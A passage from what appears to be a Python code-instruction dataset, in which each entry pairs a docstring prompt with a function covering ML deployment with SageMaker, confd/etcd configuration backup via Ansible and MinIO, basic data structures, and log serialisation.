column_names_categ = [enclose_left + cl + enclose_right for cl in column_names_categ]\n out = [s for s in self._cpp_obj.generate_sql(self.ndim > 1,\n column_names, column_names_categ, categ_levels,\n output_tree_num, single_tree, tree, self.nthreads)]\n if single_tree:\n return out[0]\n return out", "conversation_id": 64, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 65, "message_id": 0 }, { "role": "user", "content": "None\n\nlist[ConnectorFile] -- list of files to package\nReturns none if any of the files are invalid, or the files do not agree on the name.", "conversation_id": 65, "message_id": 1 }, { "role": "assistant", "content": "def generate_file_list(self) -> Optional[List[ConnectorFile]]:\n logging.debug(\"Generating list of files for validation and/or packaging...\")\n if not self.path_to_folder.is_dir():\n logger.error(\"Error: \" + str(self.path_to_folder) + \" does not exist or is not a directory.\")\n return None\n path_to_manifest = self.path_to_folder / \"manifest.xml\"\n if not path_to_manifest.is_file():\n logger.error(\"Error: \" + str(self.path_to_folder) + \" does not contain a file called manifest.xml.\")\n return None\n self.file_list.append(ConnectorFile(\"manifest.xml\", \"manifest\"))\n files_valid = self.parse_file(self.file_list[0])\n if not files_valid:\n return None\n if not self.class_name:\n logger.debug(\"Class name not found in files.\")\n return None\n if len(self.loc_strings) > 0:\n logger.debug(\"Found translatable strings, looking for resource files...\")\n logger.debug('Strings found:')\n for s in self.loc_strings:\n logger.debug(\"-- \" + s)\n for language in TABLEAU_SUPPORTED_LANGUAGES:\n resource_file_name = \"resources-\" + language + \".xml\"\n path_to_resource = self.path_to_folder / Path(resource_file_name)\n if path_to_resource.is_file():\n new_file = ConnectorFile(resource_file_name, \"resource\")\n xml_violations_buffer = []\n if not validate_single_file(new_file, path_to_resource, xml_violations_buffer):\n for error in xml_violations_buffer:\n logging.debug(error)\n return None\n self.file_list.append(ConnectorFile(resource_file_name, \"resource\"))\n logging.debug(\"Adding file to list (name = \" + resource_file_name + \", type = resource)\")\n else:\n logger.debug(\"No loc files.\")\n logger.debug(\"Generated file list:\")\n for f in self.file_list:\n logger.debug(\"-- \" + f.file_name)\n return self.file_list", "conversation_id": 65, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 66, "message_id": 0 }, { "role": "user", "content": "- True if parsing succeeds\nAppends any new files found in this one to self.file_list and recursively calls parse_file on it\nIf any translatable strings are found, append it to self.loc_strings.", "conversation_id": 66, "message_id": 1 }, { "role": "assistant", "content": "def parse_file(self, file_to_parse: ConnectorFile) -> bool:\n path_to_file = self.path_to_folder / str(file_to_parse.file_name)\n xml_violation_buffer = []\n if not validate_single_file(file_to_parse, path_to_file, xml_violation_buffer):\n for v in xml_violation_buffer:\n logger.debug(v)\n return False\n logger.debug(\"Parsing \" + str(path_to_file))\n xml_tree = parse(str(path_to_file))\n root = xml_tree.getroot()\n for child in root.iter():\n if 'file' in child.attrib:\n new_file_path = str(self.path_to_folder / child.attrib['file'])\n if not os.path.isfile(new_file_path):\n logger.debug(\"Error: \" + new_file_path + \" does not exist but is referenced in \" +\n str(file_to_parse.file_name))\n return False\n logging.debug(\"Adding file to list (name = \" + child.attrib['file'] + \", type = \" + child.tag + \")\")\n new_file = ConnectorFile(child.attrib['file'], child.tag)\n already_in_list = new_file in self.file_list\n self.file_list.append(new_file)\n if child.tag != 'script' and not already_in_list:\n children_valid = self.parse_file(new_file)\n if not children_valid:\n return False\n if 'url' in child.attrib:\n url_link = child.attrib['url']\n if not url_link.startswith(HTTPS_STRING):\n logging.error(\"Error: Only HTTPS URL's are allowed. URL \" + url_link + \n \" is a non-https link in file \" + file_to_parse.file_name)\n return False\n if 'class' in child.attrib:\n if not self.class_name:\n logging.debug(\"Found class name: \" + child.attrib['class'])\n self.class_name = child.attrib['class']\n elif child.attrib['class'] != self.class_name:\n logging.error(\"Error: class attribute in file \" + file_to_parse.file_name +\n \" does not equal class attribute in manifest.\")\n logging.debug(self.class_name + \" in manifest, \" + child.attrib['class'] + \" in \" +\n file_to_parse.file_name)\n return False\n for key, value in child.attrib.items():\n if value.startswith(TRANSLATABLE_STRING_PREFIX):\n self.loc_strings.append(value)\n return True", "conversation_id": 66, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 67, "message_id": 0 }, { "role": "user", "content": "Read data in, and parallelize model building with two params (in this case, dummy example with learning rate)..", "conversation_id": 67, "message_id": 1 }, { "role": "assistant", "content": "def start(self):\n print(\"flow name: %s\" % current.flow_name)\n print(\"run id: %s\" % current.run_id)\n print(\"username: %s\" % current.username)\n raw_data = StringIO(self.DATA_FILE).readlines()\n print(\"Total of {} rows in the dataset!\".format(len(raw_data)))\n self.dataset = [[float(_) for _ in d.strip().split('\\t')] for d in raw_data]\n print(\"Raw data: {}, cleaned data: {}\".format(raw_data[0].strip(), self.dataset[0]))\n split_index = int(len(self.dataset) * 0.8)\n self.train_dataset = self.dataset[:split_index]\n self.test_dataset = self.dataset[split_index:]\n print(\"Training data: {}, test data: {}\".format(len(self.train_dataset), len(self.test_dataset)))\n self.learning_rates = [0.1, 0.2]\n self.next(self.train_model, foreach='learning_rates')", "conversation_id": 67, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 68, "message_id": 0 }, { "role": "user", "content": "Train a dummy regression model with Keras\nand use high-performance s3 client from metaflow to store the model tar file for further processing..", "conversation_id": 68, "message_id": 1 }, { "role": "assistant", "content": "def train_model(self):\n self.learning_rate = self.input\n import tensorflow as tf\n from tensorflow.keras import layers\n import tarfile\n x_train = np.array([[_[0]] for _ in self.train_dataset])\n y_train = np.array([_[1] for _ in self.train_dataset])\n x_test = np.array([[_[0]] for _ in self.test_dataset])\n y_test = np.array([_[1] for _ in self.test_dataset])\n x_model = tf.keras.Sequential([\n layers.Dense(input_shape=[1,], units=1)\n ])\n print(x_model.summary())\n x_model.compile(\n optimizer=tf.optimizers.Adam(learning_rate=self.learning_rate),\n loss='mean_absolute_error')\n history = x_model.fit(x_train, y_train,epochs=100, validation_split=0.2)\n self.hist = history.history\n self.results = x_model.evaluate(x_test, y_test)\n print(\"Test set results: {}\".format(self.results))\n model_name = \"regression-model-{}/1\".format(self.learning_rate)\n local_tar_name = 'model-{}.tar.gz'.format(self.learning_rate)\n x_model.save(filepath=model_name)\n with tarfile.open(local_tar_name, mode=\"w:gz\") as _tar:\n _tar.add(model_name, recursive=True)\n with open(local_tar_name, \"rb\") as in_file:\n data = in_file.read()\n with S3(run=self) as s3:\n url = s3.put(local_tar_name, data)\n print(\"Model saved at: {}\".format(url))\n self.s3_path = url\n self.next(self.join_runs)", "conversation_id": 68, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 69, "message_id": 0 }, { "role": "user", "content": "Join the parallel runs and merge results into a dictionary..", "conversation_id": 69, "message_id": 1 }, { "role": "assistant", "content": "def join_runs(self, inputs):\n self.results_from_runs = {\n inp.learning_rate:\n {\n 'metrics': inp.results,\n 'tar': inp.s3_path\n }\n for inp in inputs}\n print(\"Current results: {}\".format(self.results_from_runs))\n self.best_learning_rate = choice(list(self.results_from_runs.keys()))\n self.best_s3_model_path = self.results_from_runs[self.best_learning_rate]['tar']\n self.next(self.deploy)", "conversation_id": 69, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 70, "message_id": 0 }, { "role": "user", "content": "Use SageMaker to deploy the model as a stand-alone, PaaS endpoint, with our choice of the underlying\nDocker image and hardware capabilities.\n\n\n\nOnce the endpoint is deployed, you can add a further step with for example behavioral testing, to\nensure model robustness . Here, we just \"prove\" that\nthe endpoint is up and running!.", "conversation_id": 70, "message_id": 1 }, { "role": "assistant", "content": "def deploy(self):\n from sagemaker.tensorflow import TensorFlowModel\n ENDPOINT_NAME = 'regression-{}-endpoint'.format(int(round(time.time() * 1000)))\n print(\"\\n\\n================\\nEndpoint name is: {}\\n\\n\".format(ENDPOINT_NAME))\n model = TensorFlowModel(\n model_data=self.best_s3_model_path,\n image_uri=self.DOCKER_IMAGE_URI,\n role=self.IAM_SAGEMAKER_ROLE)\n predictor = model.deploy(\n initial_instance_count=1,\n instance_type=self.SAGEMAKER_INSTANCE,\n endpoint_name=ENDPOINT_NAME)\n input = {'instances': np.array([[0.57457947234]])}\n result = predictor.predict(input)\n print(input, result)\n assert result['predictions'][0][0] > 0\n self.next(self.end)", "conversation_id": 70, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 71, "message_id": 0 }, { "role": "user", "content": "The final step is empty here, but cleaning operations and/or sending hooks for downstream deployment tasks\nis a natural necessity for machine learning DAGs..", "conversation_id": 71, "message_id": 1 }, { "role": "assistant", "content": "def end(self):\n print('Dag ended!')", "conversation_id": 71, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 72, "message_id": 0 }, { "role": "user", "content": "AWS lambda function, to handle incoming GET requests asking our model for predictions..", "conversation_id": 72, "message_id": 1 }, { "role": "assistant", "content": "def predict(event, context):\n print(\"Received event: \" + json.dumps(event))\n params = event['queryStringParameters']\n response = dict()\n start = time.time()\n input_payload = { 'instances': [[float(params.get('x', '0.0'))]] } \n result = get_response_from_sagemaker(json.dumps(input_payload),\n SAGEMAKER_ENDPOINT_NAME,\n content_type='application/json')\n if result:\n print(result)\n response = result['predictions'][0][0]\n return wrap_response(status_code=200, body={\n \"prediction\": response,\n \"time\": time.time() - start,\n \"endpoint\": SAGEMAKER_ENDPOINT_NAME\n })", "conversation_id": 72, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 73, "message_id": 0 }, { "role": "user", "content": "use md5 encryption algorithm to generate a 32bit hex code..", "conversation_id": 73, "message_id": 1 }, { "role": "assistant", "content": "def md5hex(text):\n if isinstance(text, unicode):\n text = text.encode('utf-8')\n elif not isinstance(text, str):\n text = str(text)\n m = hashlib.md5()\n m.update(text)\n return m.hexdigest()", "conversation_id": 73, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 74, "message_id": 0 }, { "role": "user", "content": "backup old toml/tmpl/cfg files from remote confd client to server.", "conversation_id": 74, "message_id": 1 }, { "role": "assistant", "content": "def backup_files(self):\n for host in self._hosts:\n toml_bak = os.path.join(self._l_toml_bak, host)\n tmpl_bak = os.path.join(self._l_tmpl_bak, host)\n conf_bak = os.path.join(self._l_conf_bak, host)\n remove_folder(toml_bak)\n remove_folder(tmpl_bak)\n remove_folder(conf_bak)\n get_folder(toml_bak)\n get_folder(tmpl_bak)\n get_folder(conf_bak)\n toml_pre = '%s/' % os.path.join('toml', self._folder_pre, host)\n tmpl_pre = '%s/' % os.path.join('tmpl', self._folder_pre, host)\n conf_pre = '%s/' % os.path.join('conf', self._folder_pre, host)\n objs = self.minio.list_objects(\n bucket_name=self._minio_bucket, prefix=toml_pre, recursive=False)\n for x in objs:\n self.minio.remove_object(\n bucket_name=self._minio_bucket,\n object_name=x.object_name.encode('utf-8'))\n objs = self.minio.list_objects(\n bucket_name=self._minio_bucket, prefix=tmpl_pre, recursive=False)\n for x in objs:\n self.minio.remove_object(\n bucket_name=self._minio_bucket,\n object_name=x.object_name.encode('utf-8'))\n objs = self.minio.list_objects(\n bucket_name=self._minio_bucket, prefix=conf_pre, recursive=False)\n for x in objs:\n self.minio.remove_object(\n bucket_name=self._minio_bucket,\n object_name=x.object_name.encode('utf-8'))\n aapi = Ansible2API(hosts=[host], **self._ansible_kwargs)\n tomls = self.get_tomls(host=host)\n for x in tomls:\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='fetch',\n args=dict(\n dest='%s/' % toml_bak,\n src=os.path.join(self._r_toml, x),\n flat='yes'))\n msg = 'Toml File Backup: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Toml File Backup: %s' % results\n app.logger.info(logmsg(msg))\n self.minio.fput_object(\n bucket_name=self._minio_bucket,\n object_name=os.path.join(toml_pre, x),\n file_path=os.path.join(toml_bak, x))\n tmpls = self.get_tmpls(host=host)\n for x in tmpls:\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='fetch',\n args=dict(\n dest='%s/' % tmpl_bak,\n src=os.path.join(self._r_tmpl, self._folder_pre, x),\n flat='yes'))\n msg = 'Tmpl File Backup: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Tmpl File Backup: %s' % results\n app.logger.info(logmsg(msg))\n self.minio.fput_object(\n bucket_name=self._minio_bucket,\n object_name=os.path.join(tmpl_pre, x),\n file_path=os.path.join(tmpl_bak, x))\n for x in self._files:\n src = os.path.join(x['dir'], x['name'])\n file_name = '%s%s%s' % (\n '@@'.join([x['mode'], x['owner']['name'], x['owner']['group']]),\n self._broken_word_2,\n src.replace('/', self._broken_word_1))\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='fetch',\n args=dict(\n dest=os.path.join(conf_bak, file_name),\n src=src, flat='yes'))\n msg = 'Conf File Backup: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Conf File Backup: %s' % results\n app.logger.info(logmsg(msg))\n file_path = os.path.join(conf_bak, file_name)\n if os.path.isfile(file_path):\n self.minio.fput_object(\n bucket_name=self._minio_bucket,\n object_name=os.path.join(conf_pre, file_name),\n file_path=file_path)\n objs = [os.path.basename(x.object_name.encode('utf-8')) for x in\n self.minio.list_objects(\n bucket_name=self._minio_bucket, prefix=toml_pre,\n recursive=False)]\n for x in tomls:\n if x not in objs:\n raise Exception('Toml Backup Failed: %s.' % x)\n objs = [os.path.basename(x.object_name.encode('utf-8')) for x in\n self.minio.list_objects(\n bucket_name=self._minio_bucket, prefix=tmpl_pre,\n recursive=False)]\n for x in tmpls:\n if x not in objs:\n raise Exception('Tmpl Backup Failed: %s.' % x)", "conversation_id": 74, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 75, "message_id": 0 }, { "role": "user", "content": "backup configuration keys using etcd server.", "conversation_id": 75, "message_id": 1 }, { "role": "assistant", "content": "def backup_keys(self):\n dir_pre = os.path.join('/', self._key_bak_pre, self._folder_pre)\n if dir_pre in self.etcd:\n self.etcd.delete(key=dir_pre, dir=True, recursive=True)\n for x in self._files:\n items = self.get_keys(cfg_name=x['name'])\n for k, v in items.items():\n ret = self.etcd.write(\n key=os.path.join(dir_pre, x['name'], k), value=v)\n msg = 'Etcd Key Backup: %s.' % ret\n app.logger.info(logmsg(msg))", "conversation_id": 75, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 76, "message_id": 0 }, { "role": "user", "content": "update configuration keys stored in etcd server\nps: when called for rollback, would delete keys totally new.", "conversation_id": 76, "message_id": 1 }, { "role": "assistant", "content": "def update_keys(self, rollback=False):\n for x in self._files:\n items = (self.get_keys(cfg_name=x['name'], rollback=rollback)\n if rollback else x['items'])\n diff = set(x['items'].keys()).difference(set(items.keys()))\n for k in diff:\n key = os.path.join('/', self._folder_pre, x['name'], k)\n if key in self.etcd:\n ret = self.etcd.delete(key=key)\n msg = 'Etcd Key Deleted: %s.' % ret\n app.logger.info(logmsg(msg))\n for k, v in items.items():\n ret = self.etcd.write(\n key=os.path.join('/', self._folder_pre, x['name'], k),\n value=v)\n msg = 'Etcd Key Updated: %s.' % ret\n app.logger.info(logmsg(msg))", "conversation_id": 76, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 77, "message_id": 0 }, { "role": "user", "content": "delete expired configuration keys stored in etcd server.", "conversation_id": 77, "message_id": 1 }, { "role": "assistant", "content": "def delete_expired_keys(self):\n for x in self._files:\n key_pre = os.path.join('/', self._folder_pre, x['name'])\n if key_pre in self.etcd:\n father = self.etcd.read(key=key_pre)\n if hasattr(father, '_children'):\n for y in father._children:\n if y['key'].split('/')[-1] not in x['items'].keys():\n ret = self.etcd.delete(key=y['key'])\n msg = 'Etcd Key Deleted: %s.' % ret\n app.logger.info(logmsg(msg))", "conversation_id": 77, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 78, "message_id": 0 }, { "role": "user", "content": "delete expired toml/tmpl files in remote confd client.", "conversation_id": 78, "message_id": 1 }, { "role": "assistant", "content": "def delete_expired_files(self):\n cfg_names = [x['name'] for x in self._files]\n for host in self._hosts:\n aapi = Ansible2API(hosts=[host], **self._ansible_kwargs)\n tomls = self.get_tomls(host=host)\n for x in tomls:\n config = x.split(self._file_pre)[1].split('toml')[0].strip('.')\n if config not in cfg_names:\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='file',\n args=dict(\n path=os.path.join(self._r_toml, x),\n state='absent'))\n msg = 'Toml File Deleted: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Toml File Deleted: %s' % results\n app.logger.info(logmsg(msg))\n tmpls = self.get_tmpls(host=host)\n for x in tmpls:\n config = x.split('.tmpl')[0]\n if config not in cfg_names:\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='file',\n args=dict(\n path=os.path.join(\n self._r_tmpl, self._folder_pre, x),\n state='absent'))\n msg = 'Tmpl File Deleted: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Tmpl File Deleted: %s' % results\n app.logger.info(logmsg(msg))", "conversation_id": 78, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 79, "message_id": 0 }, { "role": "user", "content": "delete old toml/tmpl files in remote confd client\nps: make sure that all these files have been backup already.", "conversation_id": 79, "message_id": 1 }, { "role": "assistant", "content": "def delete_files(self):\n for host in self._hosts:\n aapi = Ansible2API(hosts=[host], **self._ansible_kwargs)\n tomls = self.get_tomls(host=host)\n for x in tomls:\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='file',\n args=dict(\n path=os.path.join(self._r_toml, x),\n state='absent'))\n msg = 'Toml File Deleted: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Toml File Deleted: %s' % results\n app.logger.info(logmsg(msg))\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='file',\n args=dict(\n path='%s/' % os.path.join(\n self._r_tmpl, self._folder_pre),\n state='absent'))\n msg = 'Tmpl File Deleted: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Tmpl File Deleted: %s' % results\n app.logger.info(logmsg(msg))\n for x in self._files:\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='file',\n args=dict(\n path=os.path.join(x['dir'], x['name']),\n state='absent'))\n msg = 'Conf File Deleted: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Conf File Deleted: %s' % results\n app.logger.info(logmsg(msg))", "conversation_id": 79, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 80, "message_id": 0 }, { "role": "user", "content": "update toml/tmpl/(conf) files to remote/local confd client.", "conversation_id": 80, "message_id": 1 }, { "role": "assistant", "content": "def push_files(self, rollback=False):\n for host in self._hosts:\n aapi = Ansible2API(hosts=[host], **self._ansible_kwargs)\n toml_folder = '%s/' % (\n os.path.join(self._l_toml_bak, host)\n if rollback else os.path.join(self._l_toml, host))\n tmpl_folder = '{}/'.format(\n os.path.join(self._l_tmpl_bak, host)\n if rollback else self._l_tmpl)\n if rollback:\n conf_folder = '%s/' % os.path.join(self._l_conf_bak, host)\n remove_folder(toml_folder)\n remove_folder(tmpl_folder)\n remove_folder(conf_folder)\n get_folder(toml_folder)\n get_folder(tmpl_folder)\n get_folder(conf_folder)\n toml_pre = '%s/' % os.path.join('toml', self._folder_pre, host)\n objs = self.minio.list_objects(\n bucket_name=self._minio_bucket, prefix=toml_pre, recursive=False)\n for x in objs:\n object_name = x.object_name.encode('utf-8')\n self.minio.fget_object(\n bucket_name=self._minio_bucket,\n object_name=object_name,\n file_path=os.path.join(\n toml_folder, os.path.basename(object_name)))\n tmpl_pre = '%s/' % os.path.join('tmpl', self._folder_pre, host)\n objs = self.minio.list_objects(\n bucket_name=self._minio_bucket, prefix=tmpl_pre, recursive=False)\n for x in objs:\n object_name = x.object_name.encode('utf-8')\n self.minio.fget_object(\n bucket_name=self._minio_bucket,\n object_name=object_name,\n file_path=os.path.join(\n tmpl_folder, os.path.basename(object_name)))\n conf_pre = '%s/' % os.path.join('conf', self._folder_pre, host)\n objs = self.minio.list_objects(\n bucket_name=self._minio_bucket, prefix=conf_pre, recursive=False)\n for x in objs:\n object_name = x.object_name.encode('utf-8')\n self.minio.fget_object(\n bucket_name=self._minio_bucket,\n object_name=object_name,\n file_path=os.path.join(\n conf_folder, os.path.basename(object_name)))\n for x in os.listdir(conf_folder):\n config = x.split(self._broken_word_2)\n file_path = config[1].replace(self._broken_word_1, '/')\n info = config[0].split('@@')\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='copy',\n args=dict(\n mode=info[0],\n src=os.path.join(conf_folder, x),\n dest=file_path,\n group=info[2],\n owner=info[1]))\n msg = 'Conf File Updated: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Conf File Updated: %s' % results\n app.logger.info(logmsg(msg))\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='copy',\n args=dict(\n mode=self._confd_file_mode,\n src=toml_folder,\n dest=self._r_toml,\n group=self._confd_owner[1],\n owner=self._confd_owner[0]))\n msg = 'Toml File Updated: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Toml File Updated: %s' % results\n app.logger.info(logmsg(msg))\n r_tmpl_folder = os.path.join(self._r_tmpl, self._folder_pre)\n state, state_sum, results = ansible_safe_run(\n aapi=aapi, module='copy',\n args=dict(\n mode=self._confd_file_mode,\n src=tmpl_folder,\n dest=r_tmpl_folder,\n group=self._confd_owner[1],\n owner=self._confd_owner[0]))\n msg = 'Tmpl File Updated: %s' % state_sum\n app.logger.debug(logmsg(msg))\n msg = 'Tmpl File Updated: %s' % results\n app.logger.info(logmsg(msg))", "conversation_id": 80, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 81, "message_id": 0 }, { "role": "user", "content": "Returns True if Empty and false otherwise.", "conversation_id": 81, "message_id": 1 }, { "role": "assistant", "content": "def is_empty(self):\n if self.top:\n return False\n return True", "conversation_id": 81, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 82, "message_id": 0 }, { "role": "user", "content": "Returns the value at the top without modifying the stack, raises an exception otherwise.", "conversation_id": 82, "message_id": 1 }, { "role": "assistant", "content": "def peek(self):\n if not self.is_empty():\n return self.top.value\n raise EmptyStackException(\"Cannot peek an empty stack\")", "conversation_id": 82, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 83, "message_id": 0 }, { "role": "user", "content": "Returns the value at the top without modifying the queue, raises an exception otherwise.", "conversation_id": 83, "message_id": 1 }, { "role": "assistant", "content": "def peek(self):\n if not self.stack.is_empty():\n current = self.stack.top\n items = []\n while current:\n items.insert(0,str(current.value))\n current = current.next\n return items[0]\n raise EmptyStackException(\"Cannot peek an empty stack\")", "conversation_id": 83, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 84, "message_id": 0 }, { "role": "user", "content": "this function takes a string value and return hashed key.", "conversation_id": 84, "message_id": 1 }, { "role": "assistant", "content": "def hash(self,key):\n sum = 0\n for letter in key:\n sum= (sum + ord(letter)* key.index(letter) * 19)% self.size\n return sum", "conversation_id": 84, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 85, "message_id": 0 }, { "role": "user", "content": "this function take a string key and a value then add them in the hashtable as a list.", "conversation_id": 85, "message_id": 1 }, { "role": "assistant", "content": "def add(self,key):\n index = self.hash(key)\n if self.buckets[index] is None:\n self.buckets[index] = key\n return None\n return key", "conversation_id": 85, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 86, "message_id": 0 }, { "role": "user", "content": "this method to append value in the last node\ninput ==> value.", "conversation_id": 86, "message_id": 1 }, { "role": "assistant", "content": "def append(self, value):\n if value is None:\n raise TypeError(\"insert() missing 1 required positional argument: 'value' \")\n else:\n new_node = Node(value)\n if not self.head:\n self.head = new_node\n else:\n new_node = Node(value)\n current = self.head\n while current.next:\n current = current.next\n current.next = new_node", "conversation_id": 86, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 87, "message_id": 0 }, { "role": "user", "content": "delete an item to the rear fo the queue.", "conversation_id": 87, "message_id": 1 }, { "role": "assistant", "content": "def dequeue(self):\n if not self.is_empty():\n temp = self.front\n self.front = self.front.next\n temp.next = None\n return temp.value\n raise EmptyQueueException(\"Cannot dequeue an empty queue\")", "conversation_id": 87, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 88, "message_id": 0 }, { "role": "user", "content": "Returns the value at the top without modifying the stack, raises an exception otherwise.", "conversation_id": 88, "message_id": 1 }, { "role": "assistant", "content": "def peek(self):\n if not self.is_empty():\n return self.front.value\n raise EmptyQueueException(\"Cannot peek an empty queue\")", "conversation_id": 88, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 89, "message_id": 0 }, { "role": "user", "content": "Write log line as one-line record..", "conversation_id": 89, "message_id": 1 }, { "role": "assistant", "content": "def write_line(self, file: 'TextFile', data: 'Model',\n lineno: 'Optional[int]' = 0) -> int:", "conversation_id": 89, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 90, "message_id": 0 }, { "role": "user", "content": "Serialise records to a log line..", "conversation_id": 90, "message_id": 1 }, { "role": "assistant", "content": "def dump_file(self, data: 'Iterable[Model]') -> str:", "conversation_id": 90, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 91, "message_id": 0 }, { "role": "user", "content": "Serialise one-line record to a log line..", "conversation_id": 91, "message_id": 1 }, { "role": "assistant", "content": "def dump_line(self, data: 'Model', lineno: 'Optional[int]' = 0) -> str:", "conversation_id": 91, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 92, "message_id": 0 }, { "role": "user", "content": "Serialise records to a log line..", "conversation_id": 92, "message_id": 1 }, { "role": "assistant", "content": "def dumps(self, data: 'Iterable[Model]') -> str:\n return self.dump_file(data)", "conversation_id": 92, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 93, "message_id": 0 }, { "role": "user", "content": "Write log line as one-line record..", "conversation_id": 93, "message_id": 1 }, { "role": "assistant", "content": "def write_line(self, file: 'TextFile', data: Model,\n lineno: 'Optional[int]' = 0) -> int:\n try:\n return file.write('%s\\n' % json.dumps(data.tojson(), cls=self.encoder))\n except TypeError as error:\n raise JSONWriterError(str(error), lineno=lineno) from error", "conversation_id": 93, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 94, "message_id": 0 }, { "role": "user", "content": "Serialise records to a log line..", "conversation_id": 94, "message_id": 1 }, { "role": "assistant", "content": "def dump_file(self, data: 'Optional[Iterable[Model]]' = None) -> str:\n if data is None:\n return ''\n return ''.join(self.dump_line(line, lineno=index) for index, line in enumerate(data, start=1))", "conversation_id": 94, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 95, "message_id": 0 }, { "role": "user", "content": "Serialise one-line record to a log line..", "conversation_id": 95, "message_id": 1 }, { "role": "assistant", "content": "def dump_line(self, data: 'Model', lineno: 'Optional[int]' = 0) -> str:\n try:\n return '%s\\n' % json.dumps(data.tojson(), cls=self.encoder)\n except TypeError as error:\n raise JSONWriterError(str(error), lineno=lineno) from error", "conversation_id": 95, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 96, "message_id": 0 }, { "role": "user", "content": "Write log line as one-line record..", "conversation_id": 96, "message_id": 1 }, { "role": "assistant", "content": "def write_line(self, file: 'TextFile', data: 'Model',\n lineno: 'Optional[int]' = 0) -> int:\n try:\n return file.write('%s\\n' % self.str_separator.join(data.toascii().values()))\n except TypeError as error:\n raise ASCIIWriterError(str(error), lineno=lineno) from error", "conversation_id": 96, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 97, "message_id": 0 }, { "role": "user", "content": "Write header fields of ASCII log file..", "conversation_id": 97, "message_id": 1 }, { "role": "assistant", "content": "def write_head(self, file: 'TextFile', data: 'Optional[Model]' = None) -> int:\n separator = self.str_separator\n if data is None:\n empty_field = self.str_empty_field\n unset_field = self.str_unset_field\n set_separator = self.str_set_separator\n fields = ''\n types = ''\n else:\n empty_field = data.empty_field.decode('ascii')\n unset_field = data.unset_field.decode('ascii')\n set_separator = 